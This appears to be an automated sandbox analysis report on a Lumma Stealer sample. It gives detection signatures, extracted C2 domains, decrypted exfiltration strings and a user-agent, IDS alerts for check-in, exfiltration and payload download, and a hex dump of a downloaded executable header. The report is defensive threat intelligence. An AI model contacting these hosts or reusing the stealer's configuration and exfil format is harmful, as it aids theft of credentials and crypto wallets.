Edit tour

Windows Analysis Report
l0zocrLiVW.exe

Overview

General Information

Sample name:	l0zocrLiVW.exe renamed because original name is a hash value
Original sample name:	406a2b6eebda1d06d4e6229dd8c81712.exe
Analysis ID:	1581624
MD5:	406a2b6eebda1d06d4e6229dd8c81712
SHA1:	9777e988d8f9f9f22ced40bc0cc017c21aaaf6c0
SHA256:	d36f9284449f143a66b7cced57e0ad4c70c295626da12e594b8fd9ed248bb4b7
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

l0zocrLiVW.exe (PID: 2736 cmdline: "C:\Users\user\Desktop\l0zocrLiVW.exe" MD5: 406A2B6EEBDA1D06D4E6229DD8C81712)

chrome.exe (PID: 6656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=1716,i,5608380485786749937,14548115154099977496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1968,i,7634424208604645419,15269702319907596955,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "inherineau.buzz", "mindhandru.buzz", "appliacnesot.buzz", "scentniej.buzz", "cashfuzysao.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: l0zocrLiVW.exe PID: 2736	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: l0zocrLiVW.exe PID: 2736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: l0zocrLiVW.exe PID: 2736	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: l0zocrLiVW.exe PID: 2736	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:10.017418+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	23.55.153.106	443	TCP
2024-12-28T10:03:12.787081+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	172.67.157.254	443	TCP
2024-12-28T10:03:14.792472+0100	2028371	3	Unknown Traffic	192.168.2.6	49715	172.67.157.254	443	TCP
2024-12-28T10:03:17.271458+0100	2028371	3	Unknown Traffic	192.168.2.6	49716	172.67.157.254	443	TCP
2024-12-28T10:03:19.907328+0100	2028371	3	Unknown Traffic	192.168.2.6	49723	172.67.157.254	443	TCP
2024-12-28T10:03:22.392169+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	172.67.157.254	443	TCP
2024-12-28T10:03:25.092843+0100	2028371	3	Unknown Traffic	192.168.2.6	49742	172.67.157.254	443	TCP
2024-12-28T10:03:27.631717+0100	2028371	3	Unknown Traffic	192.168.2.6	49748	172.67.157.254	443	TCP
2024-12-28T10:03:32.697303+0100	2028371	3	Unknown Traffic	192.168.2.6	49759	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:13.540586+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49713	172.67.157.254	443	TCP
2024-12-28T10:03:15.561568+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49715	172.67.157.254	443	TCP
2024-12-28T10:03:34.587438+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49759	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:13.540586+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49713	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:15.561568+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49715	172.67.157.254	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:36.040666+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49766	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.958232+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.6	60339	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:08.100368+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.6	54304	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:08.244225+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.6	60531	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.668687+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.6	53802	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.052685+0100	2058582	1	Domain Observed Used for C2 Detected	192.168.2.6	51491	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.202290+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.6	58534	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.343323+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.6	60933	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.504942+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.6	49572	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:07.812155+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.6	53629	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:18.564491+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49716	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T10:03:11.222446+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49709	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: l0zocrLiVW.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com:443/apical	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/apin.txtPK	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/oi.com	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/dsofL6	Avira URL Cloud: Label: malware
Source: https://scentniej.buzz/	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/ms	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/api0	Avira URL Cloud: Label: malware

Found malware configuration

Source: l0zocrLiVW.exe.2736.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "inherineau.buzz", "mindhandru.buzz", "appliacnesot.buzz", "scentniej.buzz", "cashfuzysao.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: l0zocrLiVW.exe	Virustotal: Detection: 56%			Perma Link
Source: l0zocrLiVW.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: l0zocrLiVW.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2536761017.00000000006B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: l0zocrLiVW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50085 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: l0zocrLiVW.exe, 00000000.00000002.2546241548.0000000006232000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.6:58534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058582 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz) : 192.168.2.6:51491 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.6:60339 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.6:60933 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.6:53802 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.6:49572 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.6:54304 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.6:53629 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.6:60531 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49709 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49713 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49759 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 28 Dec 2024 09:03:34 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Sat, 28 Dec 2024 08:16:29 GMTConnection: keep-aliveETag: "676fb3dd-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 a7 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 67 62 70 63 74 71 72 00 00 2a 00 00 a0 00 00 00 fc 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 67 78 75 70 6d 78 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49742 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49723 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49716 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49759 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49766 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49748 -> 172.67.157.254:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.146
